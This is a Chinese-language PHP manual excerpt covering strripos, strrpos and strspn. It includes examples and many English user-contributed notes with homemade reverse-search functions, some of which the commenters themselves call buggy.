strripos — 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

说明

strripos ( string $haystack , string $needle [, int $offset = 0 ] ) : int

以不区分大小写的方式查找指定字符串在目标字符串中最后一次出现的位置。与 strrpos() 不同，strripos() 不区分大小写。

参数

haystack

在此字符串中进行查找。

needle

注意 needle 可以是一个单字符或者多字符的字符串。

offset

参数 offset 可以被指定来查找字符串中任意长度的子字符串。

负数偏移量将使得查找从字符串的起始位置开始，到 offset 位置为止。

返回值

返回 needle 相对于 haystack 字符串的位置(和搜索的方向和偏移量无关)。同时注意字符串的起始位置为 0 而非 1。

如果 needle 未被发现，返回 FALSE。

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

范例

Example #1 strripos() 简单范例

<?php
$haystack = 'ababcd';
$needle   = 'aB';

$pos      = strripos($haystack, $needle);

if ($pos === false) {
    echo "Sorry, we did not find ($needle) in ($haystack)";
} else {
    echo "Congratulations!\n";
    echo "We found the last ($needle) in ($haystack) at position ($pos)";
}
?>

以上例程会输出：

   Congratulations!
   We found the last (aB) in (ababcd) at position (2)

参见

  • strpos() - 查找字符串首次出现的位置
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strstr() - 查找字符串的首次出现

User Contributed Notes

Anonymous 31-Aug-2010 01:05
Generally speaking, linear searches are from start to end, not end to start - which makes sense from a human perspective. If you need to find strings in a string backwards, reverse your haystack and needle rather than manually chopping it up.
admin at e-xxi dot net 08-Mar-2010 07:00
strripos() has very strange behaviour when you provide search position. For some reason it searches forward from the given position, instead of searching backward, that is more logical.

For example if you want to find instanse of $what, previous to the last, strripos($where, $what, $last_what_pos-1) will not wark as expected. It will return $last_what_pos again and again. And that has no sence at all.

To prevent this, I just used $prev_last_what_pos = strripos(substr($where,0,$last_what_pos), $what);
dimmav at in dot gr 25-Sep-2008 09:31
Suppose you just need a stripos function working backwards expecting that strripos does this job, you better use the following code of a custom function named strbipos:

<?php
function strbipos($haystack="", $needle="", $offset=0) {
// Search backwards in $haystack for $needle starting from $offset and return the position found or false

    $len = strlen($haystack);
    $pos = stripos(strrev($haystack), strrev($needle), $len - $offset - 1);
    return ( ($pos === false) ? false : $len - strlen($needle) - $pos );
}

// Test
$body = "01234Xy7890XYz456xy90";
$str = "xY";
$len = strlen($body);
echo "TEST POSITIVE offset VALUES IN strbipos<br>";
for ($i = 0; $i < $len; $i++) {
    echo "Search in [$body] for [$str] starting from offset [$i]: [" . strbipos($body, $str, $i) . "]<br>";
}
?>

Note that this function does exactly what it says and its results are different comparing to PHP 5 strripos function.
peev[dot]alexander at gmail dot com 20-Apr-2008 02:14
OK, I guess this will be the final function implementation for PHP 4.x versions ( my previous posts are invalid )

<?php

if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }/* endfunction stripos */
}/* endfunction exists stripos */

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }/* endfunction strripos */
}/* endfunction exists strripos */
?>
peev[dot]alexander at gmail dot com 17-Oct-2007 05:23
I think you shouldn't underestimate the length of $needle in the search of THE FIRST POSITION of it's last occurrence in the string. I improved the posted function, with added support for offset. I think this is an exact copy of the real function:

<?php
if(!function_exists("strripos")){
    function strripos($haystack, $needle, $offset=0) {
        if($offset<0){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(  substr( $haystack, $offset )  );
        }
        $pos = strlen($haystack) - (strpos($temp_cut, strrev($needle)) + $offset + strlen($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }/* endfunction strripos*/
}/* endfunction exists strripos*/
?>
ElectroFox 02-Aug-2007 01:59
Sorry, I made that last post a bit prematurely.  One more thing wrong with the simple php4 version is that it breaks if the string is not found.  It should actually look like this:

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        $pos = strlen($haystack) - strpos(strrev($haystack), strrev($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }
}
?>

Note, we now check to see if the $needle was found, and if it isn't, we return 0.
Yanik Lupien 03-Jul-2007 10:47
Simple way to implement this function in PHP 4

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        return strlen($haystack) - strpos(strrev($haystack), $needle);
    }
}

?>


计算指定字符串在目标字符串中最后一次出现的位置

  • ? strripos
  • strspn ?
  • PHP Manual
  • 字符串 函数
  • 计算指定字符串在目标字符串中最后一次出现的位置

strrpos

(PHP 4, PHP 5, PHP 7)

strrpos — 计算指定字符串在目标字符串中最后一次出现的位置

说明

strrpos ( string $haystack , string $needle [, int $offset = 0 ] ) : int

返回字符串 haystack 中 needle 最后一次出现的数字位置。注意 PHP4 中，needle 只能为单个字符。如果 needle 被指定为一个字符串，那么将仅使用第一个字符。

参数

haystack

在此字符串中进行查找。

needle

如果 needle不是一个字符串，它将被转换为整型并被视为字符的顺序值。

offset

或许会查找字符串中任意长度的子字符串。负数值将导致查找在字符串结尾处开始的计数位置处结束。

返回值

返回 needle 存在的位置。如果没有找到，返回 FALSE。 Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
5.0.0 | 参数 needle 可以是一个多字符的字符串。
5.0.0 | 引入 offset 参数。

范例

Example #1 检查字串是否存在

很容易将"在位置 0 处找到"和"未发现字符串"这两种情况搞错。这是检测区别的办法：

<?php

$pos = strrpos($mystring, "b");
if ($pos === false) { // 注意: 三个等号
    // 未发现...
}

?>

Example #2 使用偏移位置进行查找

<?php
$foo = "0123456789a123456789b123456789c";

var_dump(strrpos($foo, '7', -5));  // 从尾部第 5 个位置开始查找
                                   // 结果: int(17)

var_dump(strrpos($foo, '7', 20));  // 从第 20 个位置开始查找
                                   // 结果: int(27)

var_dump(strrpos($foo, '7', 28));  // 结果: bool(false)
?>

参见

  • strpos() - 查找字符串首次出现的位置
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr() - 返回字符串的子串

User Contributed Notes

dave at pixelmetrics dot com 09-Jul-2019 10:22
The description of offset is wrong. Here's how it works, with supporting examples.

Offset effects both the starting point and stopping point of the search. The direction is always right to left. (The description wrongly says PHP searches left to right when offset is positive.)

Here's how it works:
When offset is positive, PHP searches right to left from the end of haystack to offset. This ignores the left side of haystack.

When offset is negative, PHP searches right to left, starting offset bytes from the end, to the start of haystack. This ignores the right side of haystack.

Example 1:
$foo = 'aaaaaaaaaa';
var_dump(strrpos($foo, 'a', 5));
Result: int(10)

Example 2:
$foo = "aaaaaa67890";
var_dump(strrpos($foo, 'a', 5));
Result: int(5)

Conclusion: When offset is positive, PHP searches right to left from the end of haystack.

Example 3:
$foo = "aaaaa567890";
var_dump(strrpos($foo, 'a', 5));
Result: bool(false)

Conclusion: When offset is positive, PHP stops searching at offset.

Example 4:
$foo = 'aaaaaaaaaa';
var_dump(strrpos($foo, 'a', -5));
Result: int(6)

Conclusion: When offset is negative, PHP searches right to left, starting offset bytes from the end.

Example 5:
$foo = "a234567890";
var_dump(strrpos($foo, 'a', -5));
Result: int(0)

Conclusion: When offset is negative, PHP searches right to left, all the way to the start of haystack.
david dot mann at djmann dot co dot uk 28-Mar-2018 02:16
Ten years on, Brian's note is still a good overview of how offsets work, but a shorter and simpler summary is:

    strrpos($x, $y, 50);  // 1: this tells strrpos() when to STOP, counting from the START of $x
    strrpos($x, $y, -50); // 2: this tells strrpos() when to START, counting from the END of $x

Or to put it another way, a positive number lets you search the rightmost section of the string, while a negative number lets you search the leftmost section of the string.

Both these variations are useful, but picking the wrong one can cause some highly confusing results!
stevewa 17-Oct-2016 07:25
i wanted to find a leading space BEFORE a hyphen

Crude Oil (Dec) 51.00-56.00

so I had to find the position of the hyphen

then subtract that position from the length of the string (to make it a negative number)
and then walk left toward the beginning of the string, looking for the first space before the hyphen

ex:
$str_position_hyphen  = strpos($line_new,"-",$str_position_spread);

$line_new_length = strlen($line_new);

$str_position_hyphen_from_end = $str_position_hyphen - $line_new_length;

echo "hyphen position from end = " . $str_position_hyphen_from_end . "<br />\n";

$str_position_space_before_hyphen  = strrpos($line_new, " ", $str_position_hyphen_from_end);

echo "*** previous space= " . $str_position_space_before_hyphen . "<br />\n";

$line_new = substr_replace($line_new, ",", $str_position_space_before_hyphen, 1  );

echo $line_new . "<br /><br />\n";
islandispeace at hotmail dot com 29-Nov-2015 07:30
$offset is very misleading, here is my understanding:

function mystrrpos($haystack, $needle, $offset = 0) {
    if ($offset == 0) {
        return strrpos ($haystack, $needle);
    } else {
        return strrpos (substr($haystack, 0, $offset), $needle);
    }
}
info at qrworld dot net 04-Nov-2014 02:52
I made a function using strrpos to get the extension of a file.

function getExtension($file) {
  $pos = strrpos($file, '.');
  if($pos===false){
    return false;
  } else {
    return substr($file, $pos+1);
  }
}

The link of the post where I took the code is:

http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html
tremblay dot jf at gmail dot com 12-May-2014 06:57
I created an easy function that search a substring inside a string.
It reverse the string and the substring inside an strpos and substract the result to the length of the string.

if (!function_exists("real_strrpos")) {
   function real_strrpos($haystack,$needle) {
      $pos  = strlen($haystack);
      $pos -= strpos(strrev($haystack), strrev($needle) );
      $pos -= strlen($needle);
      return $pos;
   }
}
arlaud pierre 02-Jul-2012 01:51
This seems to behave like the exact equivalent to the PHP 5 offset parameter for a PHP 4 version.

<?php
 function strrpos_handmade($haystack, $needle, $offset = 0){

  if($offset === 0) return strrpos($haystack, $needle);

  $length = strlen($haystack);
  $size = strlen($needle);

  if($offset < 0) {
    $virtual_cut = $length+$offset;
    $haystack = substr($haystack, 0, $virtual_cut+$size);
    $ret = strrpos($haystack, $needle);
    return $ret > $virtual_cut ? false : $ret;
  } else {
    $haystack = substr($haystack, $offset);
    $ret = strrpos($haystack, $needle);
    return $ret === false ? $ret : $ret+$offset;
  }

}
?>
maxmike at gmail dot com 11-Jul-2009 10:05
I've got a simple method of performing a reverse strpos which may be of use.  This version I have treats the offset very simply:
Positive offsets search backwards from the supplied string index.
Negative offsets search backwards from the position of the character that many characters from the end of the string.

Here is an example of backwards stepping through instances of a string with this function:

<?php
function backwardStrpos($haystack, $needle, $offset = 0){
    $length = strlen($haystack);
    $offset = ($offset > 0)?($length - $offset):abs($offset);
    $pos = strpos(strrev($haystack), strrev($needle), $offset);
    return ($pos === false)?false:( $length - $pos - strlen($needle) );
}

$pos = 0;
$count = 0;
echo "Test1<br/>";
while(($pos = backwardStrpos("012340567890", "0", $pos)) !== false){
     echo $pos."<br/>";
    $pos--;
    if($pos < 0){
        echo "Done<br/>";break;
    }
}
echo "---===---<br/>\nTest2<br/>";
echo backwardStrpos("12341234", "1", 2)."<br/>";
echo backwardStrpos("12341234", "1", -2);
?>

Outputs:
Test1
11
5
0
Done
---===---
Test2
0
4

With Test2 the first line checks from the first 3 in "12341234" and runs backwards until it finds a 1 (at position 0)

The second line checks from the second 2 in "12341234" and seeks towards the beginning for the first 1 it finds (at position 4).

This function is useful for php4 and also useful if the offset parameter in the existing strrpos is equally confusing to you as it is for me.
alexandre at NOSPAM dot pixeline dot be 20-Dec-2008 08:35
I needed to check if a variable that contains a generated folder name based on user input had a trailing slash.

This did the trick:

<?php
    // Detect and remove a trailing slash
    $root_folder = ((strrpos($root_folder, '/') + 1) == strlen($root_folder)) ? substr($root_folder, 0, - 1) : $root_folder;
?>
dixonmd at gmail dot com 24-Dec-2007 02:42
<?php
        $pos = strlen(string $haystack) - strpos (strrev(string $haystack), strrev(string $needle)) - strlen(string $needle);
?>

         If in the needle there is more than one character then in php 4 we can use the above statement for finding the position of last occurrence of a substring in a string instead of strrpos. Because in php 4 strrpos uses the first character of the substring.

eg :
<?php
        $haystack = "you you you you you";
        $needle = "you";
        $pos1 = strlen($haystack) - strpos (strrev($haystack), strrev($needle)) - strlen($needle);
        echo $pos1 . "<br>";
        $pos2 strrpos($haystack, $needle);
        echo $pos2 . "<br>";
?>
Daniel Brinca 15-Oct-2007 05:41
Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards  (lastIndexOf type function):

//search backwards for needle in haystack, and return its position
function rstrpos ($haystack, $needle, $offset){
    $size = strlen ($haystack);
    $pos = strpos (strrev($haystack), $needle, $size - $offset);

    if ($pos === false)
        return false;

    return $size - $pos;
}

Note: supports full strings as needle
pb at tdcspace dot dk 23-Sep-2007 07:26
what the hell are you all doing. Wanna find the *next* last from a specific position because strrpos is useless with the "offset" option, then....

ex: find 'Z' in $str from position $p,  backward...

while($p > -1 and $str{$p} <> 'Z') $p--;

Anyone will notice $p = -1 means: *not found* and that you must ensure a valid start offset in $p, that is >=0 and < string length. Doh
brian at enchanter dot net 16-Jul-2007 07:47
The documentation for 'offset' is misleading.

It says, "offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string."

This is confusing if you think of strrpos as starting at the end of the string and working backwards.

A better way to think of offset is:

- If offset is positive, then strrpos only operates on the part of the string from offset to the end. This will usually have the same results as not specifying an offset, unless the only occurences of needle are before offset (in which case specifying the offset won't find the needle).

- If offset is negative, then strrpos only operates on that many characters at the end of the string. If the needle is farther away from the end of the string, it won't be found.

If, for example, you want to find the last space in a string before the 50th character, you'll need to do something like this:

strrpos($text, " ", -(strlen($text) - 50));

If instead you used strrpos($text, " ", 50), then you would find the last space between the 50th character and the end of the string, which may not have been what you were intending.
jafet at g dot m dot a dot i dot l dot com 12-Apr-2007 01:57
Full strpos() functionality, by yours truly.

<?php
function conforming_strrpos($haystack, $needle, $offset = 0)
{
    # Why does strpos() do this? Anyway...
    if(!is_string($needle)) $needle = ord(intval($needle));
    $haystack = strval($haystack);
    # Parameters
    $hlen = strlen($haystack);
    $nlen = strlen($needle);
    # Come on, this is a feature too
    if($nlen == 0)
    {
        trigger_error(__FUNCTION__.'(): Empty delimiter.', E_USER_WARNING);
        return false;
    }
    $offset = intval($offset);
    $hrev = strrev($haystack);
    $nrev = strrev($needle);
    # Search
    $pos = strpos($hrev, $nrev, $offset);
    if($pos === false) return false;
    else return $hlen - $nlen - $pos;
}
?>

Note that $offset is evaluated from the end of the string.

Also note that conforming_strrpos() performs some five times slower than strpos(). Just a thought.
mijsoot_at_gmail_dot_com 06-Mar-2007 01:43
To begin, i'm sorry for my English.
So, I needed of one function which gives me the front last position of a character.
Then I said myself that it should be better to make one which gives the "N" last position.

$return_context = "1173120681_0__0_0_Mijsoot_Thierry";

// Here i need to find = "Mijsoot_Thierry"

//echo $return_context."<br />";// -- DEBUG

function findPos($haystack,$needle,$position){
    $pos = strrpos($haystack, $needle);
    if($position>1){
        $position --;
        $haystack = substr($haystack, 0, $pos);
        $pos = findPos($haystack,$needle,$position);
    }else{
        // echo $haystack."<br />"; // -- DEBUG
        return $pos;
    }
    return $pos;
}

var_dump(findPos($return_context,"_",2)); // -- TEST
Christ Off 29-Jan-2007 10:50
Function to truncate a string
Removing dot and comma
Adding ... only if a is character found

function TruncateString($phrase, $longueurMax = 150) {
    $phrase = substr(trim($phrase), 0, $longueurMax);
    $pos = strrpos($phrase, " ");
    $phrase = substr($phrase, 0, $pos);
    if ((substr($phrase,-1,1) == ",") or (substr($phrase,-1,1) == ".")) {
        $phrase = substr($phrase,0,-1);
    }
    if ($pos === false) {
        $phrase = $phrase;
    }
    else {
        $phrase = $phrase . "...";
    }
return $phrase;
}
php NO at SPAMMERS willfris SREMMAPS dot ON nl 20-Dec-2006 06:48
<?php
/*******
 ** Maybe the shortest code to find the last occurence of a string, even in php4
 *******/
function stringrpos($haystack,$needle,$offset=NULL)
{
    return strlen($haystack)
           - strpos( strrev($haystack) , strrev($needle) , $offset)
           - strlen($needle);
}
// @return   ->   chopped up for readability.
?>
purpleidea 27-Nov-2006 12:07
I was having some issues when I moved my code to run it on a different server.
The earlier php version didn't support more than one character needles, so tada, bugs. It's in the docs, i'm just pointing it out in case you're scratching your head for a while.
dmitry dot polushkin at gmail dot com 03-Nov-2006 10:05
Returns the filename's string extension, else if no extension found returns false.
Example: filename_extension('some_file.mp3'); // mp3
Faster than the pathinfo() analogue in two times.
<?php
function filename_extension($filename) {
    $pos = strrpos($filename, '.');
    if($pos===false) {
        return false;
    } else {
        return substr($filename, $pos+1);
    }
}
?>
kavih7 at yahoo dot com 08-Jun-2006 12:53
<?php
###################################################
#
# DESCRIPTION:
# This function returns the last occurance of a string,
# rather than the last occurance of a single character like
# strrpos does. It also supports an offset from where to
# start the searching in the haystack string.
#
# ARGS:
# $haystack (required) -- the string to search upon
# $needle (required) -- the string you are looking for
# $offset (optional) -- the offset to start from
#
# RETURN VALS:
# returns integer on success
# returns false on failure to find the string at all
#
###################################################

function strrpos_string($haystack, $needle, $offset = 0)
{
    if(trim($haystack) != "" && trim($needle) != "" && $offset <= strlen($haystack))
    {
        $last_pos = $offset;
        $found = false;
        while(($curr_pos = strpos($haystack, $needle, $last_pos)) !== false)
        {
            $found = true;
            $last_pos = $curr_pos + 1;
        }
        if($found)
        {
            return $last_pos - 1;
        }
        else
        {
            return false;
        }
    }
    else
    {
        return false;
    }
}
?>
shimon at schoolportal dot co dot il 03-May-2006 11:31
In strrstr function in php 4 there is also no offset.
<?
// by Shimon Doodkin
function chrrpos($haystack, $needle, $offset=false)
{
 $needle=$needle[0];
 $l=strlen($haystack);
 if($l==0)  return false;
 if($offset===false)  $offset=$l-1;
 else
 {
  if($offset>$l) $offset=$l-1;
  if($offset<0) return false;
 }
 for(;$offset>0;$offset--)
  if($haystack[$offset]==$needle)
   return $offset;
 return false;
}
?>
gordon at kanazawa-gu dot ac dot jp 13-Sep-2005 09:56
The "find-last-occurrence-of-a-string" functions suggested here do not allow for a starting offset, so here's one, tried and tested, that does:

function my_strrpos($haystack, $needle, $offset=0) {
    // same as strrpos, except $needle can be a string
    $strrpos = false;
    if (is_string($haystack) && is_string($needle) && is_numeric($offset)) {
        $strlen = strlen($haystack);
        $strpos = strpos(strrev(substr($haystack, $offset)), strrev($needle));
        if (is_numeric($strpos)) {
            $strrpos = $strlen - $strpos - strlen($needle);
        }
    }
    return $strrpos;
}
genetically altered mastermind at gmail 22-Aug-2005 10:30
Very handy to get a file extension:
$this->data['extension'] = substr($this->data['name'],strrpos($this->data['name'],'.')+1);
fab 10-Aug-2005 04:07
RE: hao2lian

There are a lot of alternative - and unfortunately buggy - implementations of strrpos() (or last_index_of as it was called) on this page. This one is a slight modifiaction of the one below, but it should world like a *real* strrpos(), because it returns false if there is no needle in the haystack.

<?php

function my_strrpos($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   if($index === false) {
        return false;
   }
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

?>
jonas at jonasbjork dot net 06-Apr-2005 01:25
I needed to remove last directory from an path, and came up with this solution:

<?php

  $path_dir = "/my/sweet/home/";
  $path_up = substr( $path_dir, 0, strrpos( $path_dir, '/', -2 ) )."/";
  echo $path_up;

?>

Might be helpful for someone..
escii at hotmail dot com ( Brendan ) 10-Jan-2005 07:12
I was immediatley pissed when i found the behaviour of strrpos ( shouldnt it be called charrpos ?) the way it is, so i made my own implement to search for strings.

<?
function proper_strrpos($haystack,$needle){
        while($ret = strrpos($haystack,$needle))
        {
                if(strncmp(substr($haystack,$ret,strlen($needle)),
                                $needle,strlen($needle)) == 0 )
                        return $ret;
                $haystack = substr($haystack,0,$ret -1 );
        }
        return $ret;
}
?>
griffioen at justdesign dot nl 17-Nov-2004 10:57
If you wish to look for the last occurrence of a STRING in a string (instead of a single character) and don't have mb_strrpos working, try this:

    function lastIndexOf($haystack, $needle) {
        $index        = strpos(strrev($haystack), strrev($needle));
        $index        = strlen($haystack) - strlen(index) - $index;
        return $index;
    }
nexman at playoutloud dot net 07-Oct-2004 09:22
Function like the 5.0 version of strrpos for 4.x.
This will return the *last* occurence of a string within a string.

    function strepos($haystack, $needle, $offset=0) {
        $pos_rule = ($offset<0)?strlen($haystack)+($offset-1):$offset;
        $last_pos = false; $first_run = true;
        do {
            $pos=strpos($haystack, $needle, (intval($last_pos)+(($first_run)?0:strlen($needle))));
            if ($pos!==false && (($offset<0 && $pos <= $pos_rule)||$offset >= 0)) {
                $last_pos = $pos;
            } else { break; }
            $first_run = false;
        } while ($pos !== false);
        if ($offset>0 && $last_pos<$pos_rule) { $last_pos = false; }
        return $last_pos;
    }

If my math is off, please feel free to correct.
  - A positive offset will be the minimum character index position of the first character allowed.
  - A negative offset will be subtracted from the total length and the position directly before will be the maximum index of the first character being searched.

returns the character index ( 0+ ) of the last occurence of the needle.

* boolean FALSE will return no matches within the haystack, or outside boundries specified by the offset.
tsa at medicine dot wisc dot edu 24-May-2004 05:17
What the heck, I thought I'd throw another function in the mix.  It's not pretty but the following function counts backwards from your starting point and tells you the last occurrance of a mixed char string:

<?php
function strrposmixed ($haystack, $needle, $start=0) {
   // init start as the end of the str if not set
   if($start == 0) {
       $start = strlen($haystack);
   }

   // searches backward from $start
   $currentStrPos=$start;
   $lastFoundPos=false;

   while($currentStrPos != 0) {
       if(!(strpos($haystack,$needle,$currentStrPos) === false)) {
           $lastFoundPos=strpos($haystack,$needle,$currentStrPos);
           break;
       }
       $currentStrPos--;
   }

   if($lastFoundPos === false) {
       return false;
   } else {
       return $lastFoundPos;
   }
}
?>
ZaraWebFX 14-Oct-2003 11:06
this could be, what derek mentioned:

<?
function cut_last_occurence($string,$cut_off) {
    return strrev(substr(strstr(strrev($string), strrev($cut_off)),strlen($cut_off)));
}

//    example: cut off the last occurence of "limit"
    $str = "select delta_limit1, delta_limit2, delta_limit3 from table limit 1,7";
    $search = " limit";
    echo $str."\n";
    echo cut_last_occurence($str,"limit");
?>
lee at 5ss dot net 29-Aug-2003 07:21
I should have looked here first, but instead I wrote my own version of strrpos that supports searching for entire strings, rather than individual characters.  This is a recursive function.  I have not tested to see if it is more or less efficient than the others on the page.  I hope this helps someone!

<?php
//Find last occurance of needle in haystack
function str_rpos($haystack, $needle, $start = 0){
    $tempPos = strpos($haystack, $needle, $start);
    if($tempPos === false){
        if($start == 0){
            //Needle not in string at all
            return false;
        }else{
            //No more occurances found
            return $start - strlen($needle);
        }
    }else{
        //Find the next occurance
        return str_rpos($haystack, $needle, $tempPos + strlen($needle));
    }
}
?>
FIE 15-Feb-2003 05:03
refering to the comment and function about lastIndexOf()...
It seemed not to work for me the only reason I could find was the haystack was reversed and the string wasnt therefore it returnt the length of the haystack rather than the position of the last needle... i rewrote it as fallows:

<?php
function strlpos($f_haystack,$f_needle) {
      $rev_str = strrev($f_needle);
      $rev_hay = strrev($f_haystack);
      $hay_len = strlen($f_haystack);
      $ned_pos = strpos($rev_hay,$rev_str);
      $result  = $hay_len - $ned_pos - strlen($rev_str);
      return $result;
}
?>

this one fallows the strpos syntax rather than java's lastIndexOf.
I'm not positive if it takes more resources assigning all of those variables in there but you can put it all in return if you want, i dont care if i crash my server ;).

~SILENT WIND OF DOOM WOOSH!
php dot net at insite-out dot com 17-Dec-2002 11:47
I was looking for the equivalent of Java's lastIndexOf(). I couldn't find it so I wrote this:

<?php
/*
Method to return the last occurrence of a substring within a
string
*/
function last_index_of($sub_str,$instr) {
    if(strstr($instr,$sub_str)!="") {
        return(strlen($instr)-strpos(strrev($instr),$sub_str));
    }
    return(-1);
}
?>

It returns the numerical index of the substring you're searching for, or -1 if the substring doesn't exist within the string.
su.noseelg@naes, only backwards 13-Dec-2002 10:39
Maybe I'm the only one who's bothered by it, but it really bugs me when the last line in a paragraph is a single word. Here's an example to explain what I don't like:

The quick brown fox jumps over the lazy
dog.

So that's why I wrote this function. In any paragraph that contains more than 1 space (i.e., more than two words), it will replace the last space with '&nbsp;'.

<?php
function no_orphans($TheParagraph) {
    if (substr_count($TheParagraph," ") > 1) {
    $lastspace = strrpos($TheParagraph," ");
    $TheParagraph = substr_replace($TheParagraph,"&nbsp;",$lastspace,1);
    }
return $TheParagraph;
}
?>

So, it would change "The quick brown fox jumps over the lazy dog." to "The quick brown fox jumps over the lazy&nbsp;dog." That way, the last two words will always stay together.


计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。

  • ? strrpos
  • strstr ?
  • PHP Manual
  • 字符串 函数
  • 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。

strspn

(PHP 4, PHP 5, PHP 7)

strspn — 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。

说明

strspn ( string $subject , string $mask [, int $start [, int $length ]] ) : int

返回 subject 中全部字符仅存在于 mask 中的第一组连续字符(子字符串)的长度。

如果省略了 start 和 length 参数，则检查整个 subject 字符串；如果指定了这两个参数，则效果等同于调用 strspn(substr($subject, $start, $length), $mask)（更多信息，参见 substr ）。

代码行：

<?php
$var = strspn("42 is the answer to the 128th question.", "1234567890");
?>
$var 将被指派为 2，因为 '42' 是 subject 中第一段全部字符都存在于 '1234567890' 的连续字符。

参数

subject

待检查的字符串。

mask

检查字符列表。

start

subject 的开始检查位置。

如果 start 被设置并且是非负的，strspn() 将从 subject 的第 start 个位置开始检查。例如，在字符串 'abcdef' 中，第 0 个位置的字符是 'a'，第二个位置的字符是 'c'，等等。

如果 start 被设置并且为负数，strspn() 将从 subject 的尾部倒数第 start 个位置开始检查 subject。

length

subject 中检查的长度。

如果 length 被设置并且为非负数，那么将从起始位置开始，检查 subject 的 length 个长度的字符。

如果 length 被设置并且为负数，那么将从起始位置开始，直到从 subject 尾部开始第 length 个位置，对 subject 进行检查。

返回值

返回 str1 中第一段全部字符都存在于 str2 范围的字符串的长度。

更新日志

版本 | 说明
4.3.0 | 新增 start 和 length 参数。

范例

Example #1 strspn() 范例

<?php
echo strspn("foo", "o", 1, 2); // 打印: 2
?>

以上例程会输出：

int(0)
int(2)
int(1)

注释

Note: 此函数可安全用于二进制对象。

参见

  • strcspn() - 获取不匹配遮罩的起始子字符串的长度

User Contributed Notes

nino dot skopac at gmail dot com 07-Feb-2018 06:59
strspon and preg_match seem to be equally fast for validating numbers:

<?php

$testValInvalid = 'foobar123^^';
$testValValid = '12346';
$allowedChars = '1234567890';

$t1 = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    assert(strspn($testValInvalid, $allowedChars) != strlen($testValInvalid));
    assert(strspn($testValValid, $allowedChars) == strlen($testValValid));
}
print 'Time taken for strspon: ' . (microtime(true) - $t1);
print PHP_EOL;

$t1 = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    assert(preg_match('/^[0-9]+$/', $testValInvalid) === 0);
    assert(preg_match('/^[0-9]+$/', $testValValid));
}

print 'Time taken for preg_match: ' . (microtime(true) - $t1);
print PHP_EOL;

/**
nino-mcb:hosp_web ninoskopac$ php test.php
Time taken for strspon: 3.24165391922
Time taken for preg_match: 3.1820080280304
nino-mcb:hosp_web ninoskopac$ php test.php
Time taken for strspon: 3.1806418895721
Time taken for preg_match: 3.2244551181793
 */
?>
bob at example dot com 05-Jun-2012 03:37
Quick way to check if a string consists entirely of characters within the mask is to compare strspn with strlen eg:

<?php
$path = $_SERVER['PATH_INFO'];
if (strspn($path,'/') == strlen($path)) {
    //PATH_INFO is empty
}
?>
mrsohailkhan at gmail dot com 01-Feb-2011 12:56
very dificult to get from the definition directly, while i search for that,i came to know that

strspn() will tell you the length of a string consisting entirely of the set of characters in accept set. That is, it starts walking down str until it finds a character that is not in the set (that is, a character that is not to be accepted), and returns the length of the string so far.

and

strcspn() works much the same way, except that it walks down str until it finds a character in the reject set (that is, a character that is to be rejected.) It then returns the length of the string so far.

<?php
$acceptSet = "aeiou";
$rejectSet  = "y";

$str1 ="a banana";
$str2 ="the bolivian navy on manuvers in the south pacific";

echo $n = strspn($str1,$acceptSet);// $n == 1, just "a"

echo $n = strcspn($str2,$rejectSet);// n = 16, "the bolivian nav"
?>

hope this example will help in understanding the concept of strspn() and strcspn().
AT-HE (at_he.hotmail) 28-Nov-2010 02:45
you can use this function with strlen to check illegal characters, string lenght must be the same than strspn (characters from my string contained in another)

<?php

$digits='0123456789';

if (strlen($phone) != strspn($phone,$digits))
 echo "illegal characters";

?>
Dmitry Mazur 04-Mar-2009 10:23
The second parameter is a set of allowed characters.
strspn will return an zero-based index of a first non-allowed character.
barry dot balkowski at gmail dot com 08-Aug-2008 02:12
It took me some time to understand the way this function works...
I've compiled my own explanation with my own words that is more understandable for me personally than the official one or those that can be found in different tutorials on the web.
Perhaps, it will save someone several minutes...

<?php
strspn(string $haystack, string $char_list [, int $start [, int $length]])
?>

The way it works:
 -   searches for a segment of $haystack that consists entirely from supplied through the second argument chars
 -   $haystack must start from one of the chars supplied through $char_list, otherwise the function will find nothing
 -   as soon as the function encounters a char that was not mentioned in $chars it understands that the segment is over and stops (it doesn't search for the second, third and so on segments)
